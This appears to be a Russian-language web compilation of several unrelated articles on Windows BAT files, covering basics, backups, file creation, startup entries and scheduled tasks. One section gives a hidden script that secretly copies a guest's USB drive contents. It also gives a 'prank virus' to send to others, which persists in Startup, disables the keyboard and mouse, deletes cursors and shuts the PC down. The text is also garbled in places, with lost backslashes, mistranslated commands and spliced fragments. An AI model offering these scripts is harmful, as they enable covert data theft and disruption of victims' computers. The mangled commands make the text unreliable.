Содержание
- Автоматизация – это просто
- Что собой представляет BAT-файл
- Сохранение
- Часть шестая. Хитрости или шутки в сторону
- Вычисления
- Внешние команды
- Часть третья. Резервное копирование при помощи батников
- Как создать файл в Windows с помощью командной строки
- Эффективное создание файлов в Windows с помощью командной строки
- Часто задаваемые вопросы о создании файлов с помощью командной строки
- Как добавить bat?
- Как поместить в папку?
- Предназначение bat-файлов
- Создание bat-файла
- Редактирование bat-файлов средствами Windows
- Dr.Batcher – программа для создания bat-файлов и их редактирования
- 11поделились
- 0Facebook
- 9Twitter
- 2VKontakte
- 0Odnoklassniki
Использование графического интерфейса в операционных системах сегодня представляется чем-то само собой разумеющимся и совершенно естественным, но так было не всегда. Первая операционная система MS DOS, разработанная компанией Microsoft, не имела GUI, а управление выполнялось посредством ввода текстовых команд. С тех пор минуло без малого 40 лет, однако скриптовый язык командной строки по-прежнему пользуется популярностью, причём не только в среде разработчиков.
Командная строка не столь удобна, зато с её помощью можно выполнять недоступны из GUI операции. С другой стороны, запускать каждый раз консоль, вводить в неё одну за другой команды – всё это сильно замедляет работу. Впрочем, можно существенно упростить задачу, создав бат-файл или попросту батник – текстовый файл с расширением BAT, содержащий список инструкций, обрабатываемых командным интерпретатором CMD. Используются такие файлы для автоматизации разных задач, например, для удаления временных файлов по расписанию или запуска программ.
Автоматизация – это просто
Как создать bat-файл? Для этого нужно выполнить следующие действия:
- В любом текстовом редакторе, например, в Notepad или WordPad, создать текстовый документ.
- Записать в нем свои команды, начиная с @echo [off], а затем (каждый раз в новой строке) – title [название пакетного скрипта], echo [сообщение, которое будет выведено на экран] и pause.
- Сохранить текст в электронном документе с расширением.bat (например, test.bat).
- Для запуска следует дважды щелкнуть по только что созданному пакетному файлу.
- Чтобы его отредактировать, необходимо кликнуть на нем правой кнопкой мыши и из контекстного меню выбрать пункт «Изменить».
Необработанный файл будет выглядеть примерно так:
Читайте также: Добавление ярлыка «Мой компьютер» на Рабочий стол в Windows 10
@echo off
title Это ваш первый скрипт bat-файла!
echo Добро пожаловать в сценарий пакетной обработки!
pause
Что собой представляет BAT-файл
С точки зрения пользователя компьютера это текстовый файл с соответствующим расширением, но для операционной системы такие файлы особенные – они состоят из ряда команд, которые после запуска интерпретируются и выполняются по определённым правилам. Таким образом, ответ на вопрос, что такое батник для компьютера под управлением ОС Windows, может звучать следующим образом: это набор команд, записанный в текстовом формате, позволяющий сэкономить время на их наборе каждый раз, когда возникнет необходимость. Сленговое название таких файлов – батник, их также называют пакетными файлами.
С помощью таких батников можно автоматизировать целые классы задач:
- осуществлять управление файловой системой компьютера (удалять, создавать, перемещать файлы, каталоги, подкаталоги);
- выполнять последовательность команд с определёнными параметрами, которые могут быть контекстно-зависимыми;
- осуществлять пакетный запуск программ/утилит.
Сохранение
Вышеупомянутый скрипт выводит на экран текст «Добро пожаловать в сценарий пакетной обработки!». Электронный документ необходимо записать, выбрав пункт меню текстового редактора «Файл», «Сохранить как», а затем указать желаемое имя bat-файла. Его следует завершить расширением .bat (например, welcome.bat) и нажать «ОК». Для правильного отображения кириллицы в некоторых случаях следует удостовериться в правильном выборе кодировки. Например, при использовании консоли русифицированной системы Windows NT документ необходимо сохранить в CP866. Теперь следует дважды щелкнуть на ярлыке bat-файла, чтобы активировать его.
Но экране появится надпись:
«Добро пожаловать в сценарий пакетной обработки! Для продолжения нажмите любую клавишу…»
В случае если bat-файл не запускается, пользователи рекомендуют зайти в регистр и удалить ключ:
«HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.BATUserChoice».
Не стоит думать, что это все, на что способны сценарии пакетной обработки. Параметрами скриптов являются измененные версии команд командной строки, поэтому пользователь ограничен только их возможностями. А они довольно обширные.
Читайте также: SONY Sound Forge Pro 11.0 Build 299 Portable (2020) Русский
Часть шестая. Хитрости или шутки в сторону
Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.
Шпионские штучки. Похищаем содержимое флешки
В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания
@echo off :test if exist g: goto go goto test :go xcopy «G:*.*» «C:упс*.*»
Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем. :test обозначает начало действия батника if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:) goto test если диск G: не был найден, возвращаемся к началу части :test :go обозначает начало действия второй части батника xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C: Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….
Маленький вирус в автозагрузку
В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее
copy %0 c:»documents and settings»»all users»»главное меню»программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows»Start Menu»ProgramsStartup
Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка) Вторая строка добавляет файл в автозагрузку для Windows 7.
Начало обеих строк в виде copy %0 означает копирование «самого себя». Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!» Для этого добавляем следующее
Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup («ТЫ ЛАМЕР!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js
Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом
Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup («ПИШИ СЮДА ЧТО УГОДНО»); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse
Однако, и первый вариант будет работать.
Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени
msg * «ТЫ ЛАМЕР!» >nul
Читайте также: Как сделать, настроить или удалить рамку для объекта и страницы в Word
Едем дальше, ближе к вкусностям. Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….
Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.
rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.
rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.
rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.
Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)
Теперь остаётся только скомпоновать желаемые строки в единый код
@echo off chcp 1251 rundll32 keyboard, disable %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul copy %0 c:»documents and settings»»all users»»главное меню»программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows»Start Menu»ProgramsStartup rundll32 url.dll, FileProtocolHandler https://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.js echo WSHShell.Popup («ТЫ ЛАМЕР!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js
к содержанию
Вычисления
В bat-файлах можно выполнять простые арифметические операции с целыми 32-битными числами и битами с помощью команды set /a. Максимальным поддерживаемым числом является 2^31-1 = 2147483647, а минимальным – -(2^31) = -2147483648. Синтаксис напоминает язык программирования Си. К арифметическим операторам относятся: *, /, %, +, -. В bat-файле % (остаток целочисленного деления) должен вводиться как “%%”.
Операторы с двоичными числами интерпретируют число как 32-битную последовательность. К ним относятся: ~ (побитовое НЕ или дополнение), & (И), | (ИЛИ), ^ (исключающее ИЛИ), << (сдвиг влево), >> (сдвиг вправо). Логическим оператором отрицания является ! (восклицательный знак). Он изменяет 0 в 1 и ненулевое значение в 0. Оператором комбинирования служит , (запятая), которая позволяет производить большее число операций в одной команде set. Комбинированные операторы присваивания += и -= в выражениях a+=b и a-=и соответствуют выражениям a=a+b и a=a-b. Так же работают и *=, %=, /=, &=, |=, ^=, >>=, <<=. Приоритет операторов следующий:</p>
(); %+-*/; >>, <<; & ^; |; =, %=, *=, /=, +=, -=, &=, ^=, |=, <<=, >>=; ,
Внешние команды
- Exit используется для выхода из консоли DOS или (с опцией /b) только текущего bat-файла или подпрограммы.
- Ipconfig – это классическая консольная команда, которая выводит информацию о сети. Она включает MAC- и IP-адреса, и маски подсети.
- Ping пингует IP-адрес, отправляя к нему пакеты данных, чтобы оценить его удаленность и время ожидания (отклика). Также используется для задания паузы. Например, команда ping 127.0.01 –n 6 приостанавливает выполнение кода на 5 с.
Библиотека команд bat-файлов огромна. К счастью, в Сети есть множество страниц, в которых все они перечислены, наряду с переменными пакетного скрипта.
Часть третья. Резервное копирование при помощи батников
Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.
Автоматическое копирование каталогов в папку backup
Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.). В этом случае текст будет следующим
@echo off chcp 1251 xcopy «D:diplom*.*» «E:backupdiplom*.*»
Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии. Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид
@echo off chcp 1251 del «E:backupdiplom_old» /s /q rmdir «E:backupdiplom_old» /s /q rename «E:backupdiplom» «diplom_old» xcopy «D:diplom*.*» «E:backupdiplom*.*»
del удаляет ранее созданную вторую рк. rmdir переименовывает первую рк во вторую. xcopy создаёт новую рк. Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее
@echo off chcp 1251 xcopy «D:diplom*.*» «E:backupdiplom*.*» /E /F /H /R /K /Y /D
Создание бэкапа в архиве
Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив. Нам необходимо в автозагрузку положить батник со следующим содержимым
Читайте также: Как скачать книгу на Айфон с компьютера или Интернета
@echo off chcp 1251 c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS «E:backup» «D:diplom»
Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53
к содержанию
Создание файла, пожалуй, одна из самых тривиальных задач, которые вы выполняете на своем компьютере почти каждый день. Если вы пользователь Windows, вы, вероятно, делаете это через графический интерфейс.
Хотя на практике этот подход может показаться более простым, особенно если у вас нет опыта работы с CLI, у него есть свои недостатки. В отличие от способа CLI, который обеспечивает быстрый и эффективный способ создания файлов на вашем компьютере, подход GUI включает в себя несколько шагов, что делает его трудоемким и неэффективным.
Итак, вот руководство, которое проведет вас по различным методам, которые вы можете использовать для создания файла в Windows (будь то Windows 11, Windows 10, Windows 8 или Windows 7) с помощью командной строки.
Как создать файл в Windows с помощью командной строки
Командная строка или CMD — это мощная утилита Windows, которая позволяет с легкостью выполнять различные системные операции на вашем компьютере. Он предустановлен в системе и позволяет запускать команды для множества действий, от управления файлами до запуска пакетных файлов для автоматизации задач.
Создание файлов является одной из таких задач, которую вы можете выполнить быстрее и эффективнее с помощью командной строки CMD, чем с помощью проводника. Но прежде чем мы перейдем к делу и продемонстрируем, как создать файл в командной строке, вы должны знать, как перемещаться по структуре каталогов Windows на нем, чтобы вы могли создавать файлы в нужной папке.
Навигация по файловой системе Windows с помощью командной строки
Чтобы перемещаться по файловой системе Windows с помощью CMD, сначала откройте командную строку. Для этого нажмите кнопку Windows + X сочетание клавиш и выберите в меню Командная строка.
Затем введите команду dir, чтобы вывести список всех файлов и каталогов (или папок) внутри папки. После того, как вы определили папку, которую хотите открыть, введите следующую команду и нажмите Enter:
cd folder_name
Например: cd Documents
Чтобы вернуться в родительский каталог, запустите: cd ..
Для доступа к корневому каталогу: cd
Пока мы это делаем, вы также должны знать, что вы можете создавать каталоги (или папки) с помощью командной строки. Для этого используйте CD , чтобы перейти к папке, в которой вы хотите создать новую папку, и используйте следующий синтаксис:
mkdir directory_name
Например, чтобы создать имя каталога Мои документы, запустить: mkdir MyDocs
Наконец, когда вы находитесь в папке, в которой хотите создать файл, используйте любой из следующих методов для создания файлов с помощью CMD.
Также на ТехПП
Создание файла с помощью команды echo
Команда echo отображает сообщения, которые вы вводите в окно CMD. Однако при использовании с оператором перенаправления (>) он выполняет функцию команды создания файла, которая создает файл из введенного вами текста.
Для создания файла с помощью эхо , откройте командную строку и введите команду, используя следующий синтаксис: echo your_text_here > filename.extension
Например, если вы хотите создать текстовый файл с именем Мой файл с участием Это образец текста в качестве текста и .txt в качестве расширения файла, вы должны запустить: echo This is sample text > MyFile.txt
После того, как вы создали файл, убедитесь, что он был успешно создан, запустив:
type filename.extension
Например: type MyFile.txt
Создание файла с помощью команды copy con
в отличие от эхо команда, которая принимает ваши входные данные для содержимого файла, который вы создаете в самом начале, копировать мошенничество команда использует совсем другой подход.
С его помощью вам нужно только изначально дать имя вашему файлу. Затем он открывает новый файл в текстовом редакторе, где вы можете заполнить его текстом.
Чтобы создать файл с помощью копировать мошенничествоиспользуйте следующий синтаксис: copy con filename_with_extension
Например: copy con MyFile.txt
Теперь он поместит вас в файл в самом окне командной строки, где вы можете добавить к нему желаемый текст. Как только вы это сделаете, нажмите Ctrl + Z сохранить файл и Ctrl + C для выхода из редактирования.
Создание файла в блокноте с помощью командной строки
Хотя оба упомянутых выше метода работают хорошо, они не идеальны для случаев, когда вы хотите ввести длинные текстовые абзацы в текстовый файл. Альтернативный способ справиться с этим — использовать Блокнот, который вы обычно используете для создания файлов, но через командную строку.
Для этого введите свою команду в окне CMD, используя следующий синтаксис, и нажмите Входить: notepad filename.extension
Например, если вы хотите создать файл с именем SampleDoc, вы бы бежали: notepad SampleDoc.txt
После этого CMD откроет файл в Блокноте. Вам будет предложено создать новый файл, поскольку введенный вами файл не существует. Нажмите да принять и создать файл.
Теперь, как и в случае с Блокнотом, введите текст в файл и нажмите Ctrl + S спасти и Ctrl + W чтобы закрыть файл.
Создание нескольких файлов с помощью командной строки
Если вы хотите создать сразу несколько файлов внутри папки и заполнить их позже, вы можете использовать для цикл, как показано в следующем синтаксисе:
for /l %a in (1 1 10) do type nul > "%a.txt"
…куда (1 1 10) указывает CMD выполнить задачу в последовательности от 1 с шагом 1 до 10. Чтобы создать 20 файлов, замените 10 на 20 в вашей команде.
Если вы хотите добавить общее имя в начало каждого файла и поставить за ним номер, вам нужно будет использовать следующий синтаксис: for /l %a in (1 1 10) do type nul > "filename %a.txt"
… Где вам нужно заменить имя файла на имя, которое вы хотите дать своим файлам.
Например, выполнение приведенной ниже команды создаст 10 пустых файлов со следующим синтаксисом имени: MyDoc-1. for /l %a in (1 1 10) do type nul > "MyDoc-%a.txt"
Кроме того, если вы хотите создать несколько файлов с одним и тем же текстом, вы можете настроить команду, чтобы включить одно и то же действие. Для этого вместо включения набери ноль, вам нужно использовать эхо your_desired_text.
Например, если вы хотите создать 10 файлов с именем MyDoc-1.txt, MyDoc-2.txt,… И так далее с Это образец текста в виде текста, вы бы бежали: for /l %a in (1 1 10) do echo This is sample text> "MyDoc-%a.txt"
… И он создаст их в вашем текущем каталоге.
Эффективное создание файлов в Windows с помощью командной строки
Методы, перечисленные в этом руководстве, должны помочь вам практически со всеми видами задач по созданию файлов в командной строке, будь то создание однострочных текстовых файлов, текстовых файлов с несколькими абзацами или даже нескольких файлов с настраиваемым текстом и именами файлов.
Таким образом, в зависимости от требований вы можете выбрать соответствующий метод и быстро и эффективно создавать файлы в Windows.
Часто задаваемые вопросы о создании файлов с помощью командной строки
1. Как создать текстовый файл в командной строке Windows?
Создать текстовый файл в Windows довольно просто, и у вас есть несколько способов сделать это. Если вам нужен простой однострочный текстовый файл, вы можете использовать эхо команда, тогда как если вы хотите создать текстовый файл с несколькими строками текста, вы можете использовать либо копировать мошенничество команду или создайте файл в Блокнот. Наконец, если вы хотите создать несколько текстовых файлов, вы можете использовать для цикла.
2. Какая команда используется для создания файла?
Microsoft предлагает несколько разных команд CMD для создания файла, например эхо а также копировать мошенничество. Однако вы также можете использовать другие методы, в которых вы можете создать файл в Блокнот или запустить для цикла для создания нескольких файлов с желаемым именем и именем файла.
Некоторые приложения запускаются автоматически при каждом входе в Windows, но вы можете сами добавить любую программу, файл или папку в автозагрузку Windows 10. Это добавление особенно актуально для тех элементов, которые вы используете регулярно.
Также стоит обратить своё внимание, на количество программ и других элементов, находящихся в автозагрузке, чем больше их у вас, тем дольше будет запускаться компьютер при входе в систему. Ненужное стоит отключить.
В этой публикации мы рассмотрим, размещение файла в автозагрузку windows 10, на примере элемента с bat расширением, также подробно рассмотрим, как его создать. Также может быть интересно: Как добавить программу в автозагрузку, а также другие способы.
Содержание
Как добавить bat?
Выбор иконки
Первый шаг после того, как вы выбрали одно (или более) приложений, которые хотите объединить в одном файле, выбрать ярлык нужной вам программы.
Если значок приложения, которое вы хотите использовать находиться на рабочем столе, тогда полдела уже сделано.
Что если его там нет? Найдите ярлык (через меню «Пуск» или через проводник Windows), щелкните по нему правой кнопкой мыши и выберите «Отправить → Рабочий стол (создать ярлык)».
Мы делаем это для удобства, чтобы всё было под рукой, но, если вы считаете это действие лишним может использовать значок программы прямо в корневой папке. Теперь читайте далее, для чего нам нужен ярлык.
Определяем путь
Первое что нужно сделать, узнать путь к нужной программе.
1. Для этого наведите курсор на ярлык программы, и нажмите на правую кнопку мыши, чтобы открыть контекстное меню.
2. Выберите «Свойства»
3. В появившемся окне найдите поле «Объект», скопируйте его содержимое, и сохраните в «Блокноте» чтобы вы могли его легко найти.
Создание пакета
Теперь откройте файл блокнота, который содержит путь к программе, ранее скопированный вами, и настройте его так, чтобы он выглядел как в пример ниже.
@echo off cd «C:Program Files (x86)GoogleChromeApplication» start chrome.exe exit
1. Замените путь к программе, которую вы хотите добавить в автозагрузку на свой.
2. Теперь сохраните файл.
3. После сохранения измените его расширение с .txt на .bat, если у вас не отображаются расширения файла, нужно перейти в проводнике Windows «Файл → Изменить параметры папок и поиска» в открывшемся окне выбрать «Вид» и снять чек-бокс с параметра «Скрывать расширения для зарегистрированных типов файлов» и нажать OK.
Как поместить в папку?
Перед тем как добавить созданный нами пакетный файл в папку автозагрузки, возможно придётся включить отображение скрытых файлов и папок.
Теперь нужно открыть директорию автозагрузки, нажав Win + R для вызова диалогового окна.
Вставляем код:
shell:startup
После перетягиваем наш бат файл в папку автозагрузки, и всё готово!
Теперь, когда вы в следующий раз войдёте в Windows, программа, добавленная в батник, запустится автоматически. Всё-таки стоит потратить пять минут вашего времени, чтобы сэкономить его в будущем, избежать ненужных действий и кликов.
Ненормальное программирование * Продолжаю тему создания нетривиальных bat-файлов для тривиальных задач, начатую здесь. Наверняка многие сталкивались с задачей, когда для каких-либо целей в ОС Windows необходимо создать задание, выполняемое по расписанию (scheduled task). Для этих целей имеется простой графический интерфейс. Однако как поступить, если задание должно создаваться автоматически? Попробуем решить эту задачу с использованием примитивного bat-скрипта, который будет выполняться в практически любой версии Windows. Для удобства, создадим на машине локального технологического пользователя, под которым будет работать наше задание по расписанию. Это удобно тем, что для пользователя можно задать права, которые необходимы только для выполнения определенных действий.
:: Имя локального пользователя, под которым будем работать
set
user_name
=test_user :: Пароль для локального пользователя
set
user_passw
=test_passw
А как известно пользователь должен находиться в группе с определенными правами. Вот тут и возникает определенная сложность, т.к. если в скрипте четко задать имя группы, то могут возникнуть проблемы на машине с другой локализацией, например китайской. И как будет называться на китайском группа «Пользователи» узнать будет не очень просто. К счастью, в ОС Windows группы привязаны к так называемому Group SID. Зная, к примеру, Group SID группы «Администраторы», мы можем использовать его в скрипте. Например, S-1-5-32-545 — это локальные пользователи, а S-1-5-32-544 — администраторы. Теперь нужно определить имя для заданного Group SID, используемого в данной локализации. Тут нам на помощь придет WMIC (WMI command-line).
:: S-
1
–
5
–
32
–
545
– локальные пользователи Set
GroupSID
=S-
1
–
5
–
32
–
545
Set
GroupName
= For
/
F
“UseBackQ Tokens=1* Delims==”
%%
I In
(
`
WMIC Group Where
“SID = ‘%GroupSID%'”
Get Name
/
Value ^
|
Find
“=”
`
)
Do Set
GroupName
=
%%
J Set
GroupName
=
%
GroupName:~ ,-
1
%
Нужно знать еще один нюанс. При создании пользователя, в зависимости от системных настроек, задается время истечения пароля. И если пароль нужно будет поменять, то задание по расписанию не будет выполняться. Для этого нам нужно создать пользователя, у которого никогда не истекает пароль. Задать это в стандартной команде net user нельзя (expires:never — задает, что пользователь не может поменять пароль), поэтому опять прибегнем к помощи WMIC:
:: Создание пользователя net user
%
user_name
%
%
user_passw
%
/
add
/
comment:
“User for works with application”
/
expires:never
/
fullname:
%
user_name
%
/
passwordchg:no :: Устанавливаем, чтобы пароль не истекал никогда :: Либо так – wmic path Win32_UserAccount where
Name
=
‘%user_name%’
set
PasswordExpires
=
false
wmic USERACCOUNT where
Name
=
‘%user_name%’
set
PasswordExpires
=
false
:: Добавление локального пользователя в заданную локальную группу net localgroup
%
GroupName
%
%
user_name
%
/
ADD
Обратите внимание, что если вы удаляете пользователя командой net user test_user /DELETE, то вам нужно будет вручную удалить его каталог по пути %USERS%test_user либо предусмотреть его удаление в скрипте. Ну а далее создаем само задание, выполняемое по расписанию:
:: Имя запланированного задания, под которым будет работать приложение
set
task_name
=Test_task_bat :: Путь к приложению
set
my_app_path
=
“d:test.bat”
:: Интервал работы приложения во временном задании :: Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE. :: ЕЖЕМИНУТНО, ЕЖЕЧАСНО, ЕЖЕДНЕВНО, ЕЖЕНЕДЕЛЬНО, ЕЖЕМЕСЯЧНО ПРИ ЗАПУСКЕ ВХОДЕ В СИСТЕМУ ПРИ ПРОСТОЕ
set
schtasks_time
=MINUTE :: Начальное время старта приложения во временном задании
set
schtasks_start
=08:00:00 :: Создание запланированного задания schtasks
/
create
/
tn
“%task_name%”
/
tr
%
my_app_path
%
/
sc
%
schtasks_time
%
/
st
%
schtasks_start
%
/
ru
%
user_name
%
/
rp
%
user_passw
%
Вот и все. Надеюсь, что мой небольшой мануал окажется полезен и вы сэкономите свое время при выполнении данной задачи. P.S. Предвижу подобные вопросы и комментарии: есть же более удобные инструменты, почему именно bat? Just for fun!
Bat-файл – это текстовый файл в операционных системах семейства Windows, содержащий в себе последовательность системных команд для выполнения командным интерпретатором «cmd.exe». В общем, он представляет собой скриптовый файл. После запуска bat-файла командный интерпретатор считывает его содержимое построчно и последовательно исполняет полученные команды. Сегодня рассмотрим, как можно создать bat-файл, а также ознакомимся с программами для создания и редактирования этих файлов.
Содержание
Предназначение bat-файлов
Файлы с расширением bat предназначены для автоматизации множества рутинных задач в операционной системе Windows. Они будут очень полезными в случаях, когда необходимо выполнить какую-то операцию или их последовательность большое количество раз подряд или периодически повторять определенный алгоритм. В первую очередь это касается работы с файловой системой (создание большого количества каталогов, особенно взаимовложенных, массовое переименование файлов). Как узнать расширение файла, Вы можете узнать, перейдя по вышеуказанной ссылке.
Создание bat-файла
Создать текстовый командный файл сможет любой пользователь – здесь нет абсолютно ничего сложного. Для этого потребуется лишь текстовый редактор (функционала стандартного блокнота будет вполне достаточно).
Первый метод
- Создаем новый текстовый документ в любом каталоге.
Дабы выполнить это действие, вызываем контекстное меню свободного от папок и файлов пространства каталога и выбираем «Создать». В выпавшем списке кликаем по пункту «Текстовый файл».
- Вводим имя созданного документа и кликаем «Enter».
- Открываем созданный файл двойным кликом мыши.
- Введем в него несколько простейших команд для проверки работоспособности:
@echo Hello, i’m bat!
pause
@echo – команда вывода текста на экран;
Hello, i’m bat!- сам текст;
pause – ожидание действий пользователя перед закрытием окна. По выполнении команды «@echo» командный интерпретатор не закроется автоматически, давая этим самым пользователю ознакомиться с результатами ее выполнения (на экране увидим введенный текст).
- Вызываем пункт «Файл» главного меню блокнота и кликаем по «Сохранить как…».
Читайте также: Как найти пароль от вайфая на компьютере и телефоне
- В появившемся диалоге выбираем тип файла «Все файлы».
- Далее к имени нашего документа дописываем следующий текст «.bat», что в итоге даст «file.bat».
- Кликаем по кнопке «Сохранить».
В итоге в окне проводника появится документ с названием «file.bat», для запуска которого необходимо выполнить по нему двойной клик левой кнопкой манипулятора мышка или выделить и нажать «Enter».
Редактирование командного файла осуществляется выбором команды «Изменить» из его контекстного меню.
Второй метод
Второй способ создания bat-файлов практически аналогичен первому, но обходить вниманием его не станем.
- Запускаем Блокнот любым известным методом.
- Через ярлык в меню «Пуск» — идем «Пуск – Все программы – Стандартные – Блокнот» в Windows 7 или «Пуск — Все приложения — Стандартные — Windows – Блокнот» в более поздних редакциях Windows.
- В поисковой строке «Пуск» / «Windows» вводим блокнот и запускаем программу, кликнув по ее ярлыку в списке результатов.
- Вызываем окно выполнения системных команд комбинацией клавиш «Win + R», вводим «notepad» и кликаем «Ок».
- Переходим к пункту №4 предыдущего метода.
Редактирование bat-файлов средствами Windows
- Кликаем правой кнопкой мыши по файлу формата bat, вызвав его контекстное меню.
- Из появившегося меню выбираем «Редактировать» или «Edit».
- В открывшемся окне стандартного текстового редактора, как правило, блокнота, появится содержимое bat-файла.
- Вносим необходимые коррективы и сохраняем результат.
Dr.Batcher – программа для создания bat-файлов и их редактирования
Пускай ныне использование bat-файлов и не так востребовано пользователем, все же для решения многих задач на компьютере эффективнее прибегать к их помощи. Если новичку, изредка использующему командный интерпретатор, хватит функционала блокнота, то для системного администратора и варезника, занимающегося созданием сборок Windows или автоматически устанавливаемого программного обеспечения для нее, необходим более совершенный и удобный инструмент для работы с документами формата bat. Им является утилита Dr.Batcher. Интерфейс и функционал программы мало чем отличается от блокнотов, таких как Notepad++. В главном меню расположены кнопки часто используемых команд. Dr.Batcher нумерует страницы, поддерживает закладки, содержит список системных команд для bat-файлов и подсвечивает синтаксис введенных команд.
Читайте также: Как поставить пароль на Яндекс браузер
Создание bat-файла в Dr.Batcher
- Запускаем приложение.
- Вызываем пункт «File» его главного меню и жмем «New». То же выполняется нажатием на иконку чистого листа, расположенную под меню «File».
- В диалоговом окошке выбираем «Empty Batch File».
На экране появится окно программы со всеми необходимыми для работы с bat-файлами функциями.
Редактирование bat-файлов в Dr.Batcher
Открыть документ формата bat для редактирования в Dr.Batcher можно несколькими путями, о них и пойдет речь далее.
Редактирование через контекстное меню bat-файла
- Вызываем контекстное меню документа формата bat.
- В выпавшем списке выбираем «Edit with Dr.Batcher».
Затем запустится окно программы с содержимым нашего текстового командного файла, где можно вносить коррективы в его содержимое.
Редактирование bat-файлов через программу Dr.Batcher
- Запускаем приложение Batcher.
- Вызываем пункт «File» ее главного меню.
- Выбираем «Open» в выпавшем меню.
То же самое выполняется нажатием на иконку папки, расположенную под главным меню.
- В диалоговом окне открытия файлов указываем путь к необходимому документу формата bat и жмем «Открыть».
Наш bat-файл откроется в окне Dr.Batcher и в него можно будет вносить корректировки.
ли со статьей или есть что добавить?